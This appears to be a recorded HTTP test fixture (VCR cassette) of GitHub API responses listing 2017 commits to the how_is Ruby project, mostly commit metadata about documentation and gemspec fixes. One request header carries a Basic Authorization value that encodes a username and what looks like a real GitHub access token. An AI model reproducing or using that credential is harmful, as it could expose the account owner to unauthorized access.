lib/how_is/cli.rb.","tree":{"sha":"563ed092e9c30d5be4b833b227634081e93f90fb","url":"https://api.github.com/repos/how-is/how_is/git/trees/563ed092e9c30d5be4b833b227634081e93f90fb"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/af6510581a83f18fc680b769247d13ead3422c62","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/af6510581a83f18fc680b769247d13ead3422c62","html_url":"https://github.com/how-is/how_is/commit/af6510581a83f18fc680b769247d13ead3422c62","comments_url":"https://api.github.com/repos/how-is/how_is/commits/af6510581a83f18fc680b769247d13ead3422c62/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"20ad9563f0052f5ab80a813bacc18899aeb5e41c","url":"https://api.github.com/repos/how-is/how_is/commits/20ad9563f0052f5ab80a813bacc18899aeb5e41c","html_url":"https://github.com/how-is/how_is/commit/20ad9563f0052f5ab80a813bacc18899aeb5e41c"}]},{"sha":"20ad9563f0052f5ab80a813bacc18899aeb5e41c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjBhZDk1NjNmMDA1MmY1YWI4MGE4MTNiYWNjMTg4OTlhZWI1ZTQxYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T22:05:15Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T22:05:15Z"},"message":"Document methods in lib/how_is/analyzer.rb.","tree":{"sha":"7448e4cb820afbf712e90692a78600e53b236f4f","url":"https://api.github.com/repos/how-is/how_is/git/trees/7448e4cb820afbf712e90692a78600e53b236f4f"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/20ad9563f0052f5ab80a813bacc18899aeb5e41c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/20ad9563f0052f5ab80a813bacc18899aeb5e41c","html_url":"https://github.com/how-is/how_is/commit/20ad9563f0052f5ab80a813bacc18899aeb5e41c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/20ad9563f0052f5ab80a813bacc18899aeb5e41c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"05d43abef9ed351b68dd026a34ef19130f21c034","url":"https://api.github.com/repos/how-is/how_is/commits/05d43abef9ed351b68dd026a34ef19130f21c034","html_url":"https://github.com/how-is/how_is/commit/05d43abef9ed351b68dd026a34ef19130f21c034"}]},{"sha":"05d43abef9ed351b68dd026a34ef19130f21c034","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDVkNDNhYmVmOWVkMzUxYjY4ZGQwMjZhMzRlZjE5MTMwZjIxYzAzNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T22:01:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T22:01:14Z"},"message":"Document methods in lib/how_is.rb.","tree":{"sha":"68a4b813861c1a1da11bc770da89aea3e3d571b0","url":"https://api.github.com/repos/how-is/how_is/git/trees/68a4b813861c1a1da11bc770da89aea3e3d571b0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/05d43abef9ed351b68dd026a34ef19130f21c034","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/05d43abef9ed351b68dd026a34ef19130f21c034","html_url":"https://github.com/how-is/how_is/commit/05d43abef9ed351b68dd026a34ef19130f21c034","comments_url":"https://api.github.com/repos/how-is/how_is/commits/05d43abef9ed351b68dd026a34ef19130f21c034/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"34bb7640e4678a559f279ce0024a0ac5297b0640","url":"https://api.github.com/repos/how-is/how_is/commits/34bb7640e4678a559f279ce0024a0ac5297b0640","html_url":"https://github.com/how-is/how_is/commit/34bb7640e4678a559f279ce0024a0ac5297b0640"}]},{"sha":"0febcb35c6de351bddf6853faa427f65c98480c1","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGZlYmNiMzVjNmRlMzUxYmRkZjY4NTNmYWE0MjdmNjVjOTg0ODBjMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T21:40:48Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T21:40:48Z"},"message":"Remove shebang line. I have no idea how it got in there.","tree":{"sha":"9700caaeaad2098f163b305c2433084734ee29ef","url":"https://api.github.com/repos/how-is/how_is/git/trees/9700caaeaad2098f163b305c2433084734ee29ef"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0febcb35c6de351bddf6853faa427f65c98480c1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0febcb35c6de351bddf6853faa427f65c98480c1","html_url":"https://github.com/how-is/how_is/commit/0febcb35c6de351bddf6853faa427f65c98480c1","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0febcb35c6de351bddf6853faa427f65c98480c1/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"34bb7640e4678a559f279ce0024a0ac5297b0640","url":"https://api.github.com/repos/how-is/how_is/commits/34bb7640e4678a559f279ce0024a0ac5297b0640","html_url":"https://github.com/how-is/how_is/commit/34bb7640e4678a559f279ce0024a0ac5297b0640"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:45 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=5&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:46 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3340' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"95694640161968fd6d51c93104f1ac40" Last-Modified: - Sun, 12 Feb 2017 21:38:18 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 0B9F:080A:260F20:4DB73C:5CC36AEE body: encoding: ASCII-8BIT string: '[{"sha":"34bb7640e4678a559f279ce0024a0ac5297b0640","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzRiYjc2NDBlNDY3OGE1NTlmMjc5Y2UwMDI0YTBhYzUyOTdiMDY0MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T21:38:18Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-12T21:38:18Z"},"message":"Merge pull request #130 from how-is/update-gemspec\n\nFix URL in gemspec.","tree":{"sha":"20332aa6fa0747fb66f1d476bc5e76e4ab03260a","url":"https://api.github.com/repos/how-is/how_is/git/trees/20332aa6fa0747fb66f1d476bc5e76e4ab03260a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/34bb7640e4678a559f279ce0024a0ac5297b0640","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/34bb7640e4678a559f279ce0024a0ac5297b0640","html_url":"https://github.com/how-is/how_is/commit/34bb7640e4678a559f279ce0024a0ac5297b0640","comments_url":"https://api.github.com/repos/how-is/how_is/commits/34bb7640e4678a559f279ce0024a0ac5297b0640/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"476db7a1cdf466533076b05e0aea9eb55f0cd075","url":"https://api.github.com/repos/how-is/how_is/commits/476db7a1cdf466533076b05e0aea9eb55f0cd075","html_url":"https://github.com/how-is/how_is/commit/476db7a1cdf466533076b05e0aea9eb55f0cd075"},{"sha":"af5421e4767c2381a0250da9f5982db46ee0062d","url":"https://api.github.com/repos/how-is/how_is/commits/af5421e4767c2381a0250da9f5982db46ee0062d","html_url":"https://github.com/how-is/how_is/commit/af5421e4767c2381a0250da9f5982db46ee0062d"}]},{"sha":"af5421e4767c2381a0250da9f5982db46ee0062d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YWY1NDIxZTQ3NjdjMjM4MWEwMjUwZGE5ZjU5ODJkYjQ2ZWUwMDYyZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T21:36:17Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T21:36:17Z"},"message":"Fix URL in gemspec.","tree":{"sha":"20332aa6fa0747fb66f1d476bc5e76e4ab03260a","url":"https://api.github.com/repos/how-is/how_is/git/trees/20332aa6fa0747fb66f1d476bc5e76e4ab03260a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/af5421e4767c2381a0250da9f5982db46ee0062d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/af5421e4767c2381a0250da9f5982db46ee0062d","html_url":"https://github.com/how-is/how_is/commit/af5421e4767c2381a0250da9f5982db46ee0062d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/af5421e4767c2381a0250da9f5982db46ee0062d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"476db7a1cdf466533076b05e0aea9eb55f0cd075","url":"https://api.github.com/repos/how-is/how_is/commits/476db7a1cdf466533076b05e0aea9eb55f0cd075","html_url":"https://github.com/how-is/how_is/commit/476db7a1cdf466533076b05e0aea9eb55f0cd075"}]},{"sha":"476db7a1cdf466533076b05e0aea9eb55f0cd075","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDc2ZGI3YTFjZGY0NjY1MzMwNzZiMDVlMGFlYTllYjU1ZjBjZDA3NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T21:31:53Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-12T21:31:53Z"},"message":"Merge pull request #129 from olleolleolle/patch-2\n\nGemspec: Description grammar","tree":{"sha":"46671d2e7fbddaf21db963297bbaf08b228c1d88","url":"https://api.github.com/repos/how-is/how_is/git/trees/46671d2e7fbddaf21db963297bbaf08b228c1d88"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/476db7a1cdf466533076b05e0aea9eb55f0cd075","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/476db7a1cdf466533076b05e0aea9eb55f0cd075","html_url":"https://github.com/how-is/how_is/commit/476db7a1cdf466533076b05e0aea9eb55f0cd075","comments_url":"https://api.github.com/repos/how-is/how_is/commits/476db7a1cdf466533076b05e0aea9eb55f0cd075/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"8861af6dbc6cb1cb36d22ab3af1c0a3ee600eafd","url":"https://api.github.com/repos/how-is/how_is/commits/8861af6dbc6cb1cb36d22ab3af1c0a3ee600eafd","html_url":"https://github.com/how-is/how_is/commit/8861af6dbc6cb1cb36d22ab3af1c0a3ee600eafd"},{"sha":"eddbadf63be8706d23ab19e5979573641077d4c9","url":"https://api.github.com/repos/how-is/how_is/commits/eddbadf63be8706d23ab19e5979573641077d4c9","html_url":"https://github.com/how-is/how_is/commit/eddbadf63be8706d23ab19e5979573641077d4c9"}]},{"sha":"8861af6dbc6cb1cb36d22ab3af1c0a3ee600eafd","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODg2MWFmNmRiYzZjYjFjYjM2ZDIyYWIzYWYxYzBhM2VlNjAwZWFmZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T20:35:20Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-09T20:35:20Z"},"message":"Merge pull request #128 from how-is/handle-all-dates\n\nMake from_json parse ALL dates, not just some of them.","tree":{"sha":"91db5e9fef461b9e29404d2368b1ebfb307df126","url":"https://api.github.com/repos/how-is/how_is/git/trees/91db5e9fef461b9e29404d2368b1ebfb307df126"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8861af6dbc6cb1cb36d22ab3af1c0a3ee600eafd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8861af6dbc6cb1cb36d22ab3af1c0a3ee600eafd","html_url":"https://github.com/how-is/how_is/commit/8861af6dbc6cb1cb36d22ab3af1c0a3ee600eafd","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8861af6dbc6cb1cb36d22ab3af1c0a3ee600eafd/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"f87ca3ef85b1ba372e92bb8ca5e5be4ccbaa99d5","url":"https://api.github.com/repos/how-is/how_is/commits/f87ca3ef85b1ba372e92bb8ca5e5be4ccbaa99d5","html_url":"https://github.com/how-is/how_is/commit/f87ca3ef85b1ba372e92bb8ca5e5be4ccbaa99d5"},{"sha":"68c956c0db5d6288fafd14d62cf14689869485bb","url":"https://api.github.com/repos/how-is/how_is/commits/68c956c0db5d6288fafd14d62cf14689869485bb","html_url":"https://github.com/how-is/how_is/commit/68c956c0db5d6288fafd14d62cf14689869485bb"}]},{"sha":"68c956c0db5d6288fafd14d62cf14689869485bb","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjhjOTU2YzBkYjVkNjI4OGZhZmQxNGQ2MmNmMTQ2ODk4Njk0ODViYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T20:32:43Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T20:32:47Z"},"message":"... check if it''s a hash before treating it like a hash.","tree":{"sha":"91db5e9fef461b9e29404d2368b1ebfb307df126","url":"https://api.github.com/repos/how-is/how_is/git/trees/91db5e9fef461b9e29404d2368b1ebfb307df126"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/68c956c0db5d6288fafd14d62cf14689869485bb","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/68c956c0db5d6288fafd14d62cf14689869485bb","html_url":"https://github.com/how-is/how_is/commit/68c956c0db5d6288fafd14d62cf14689869485bb","comments_url":"https://api.github.com/repos/how-is/how_is/commits/68c956c0db5d6288fafd14d62cf14689869485bb/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"068edf7c60ad7ecf4f9a39b005a1b50a35b03933","url":"https://api.github.com/repos/how-is/how_is/commits/068edf7c60ad7ecf4f9a39b005a1b50a35b03933","html_url":"https://github.com/how-is/how_is/commit/068edf7c60ad7ecf4f9a39b005a1b50a35b03933"}]},{"sha":"068edf7c60ad7ecf4f9a39b005a1b50a35b03933","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDY4ZWRmN2M2MGFkN2VjZjRmOWEzOWIwMDVhMWI1MGEzNWIwMzkzMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T20:23:47Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T20:23:47Z"},"message":"Bump version, update 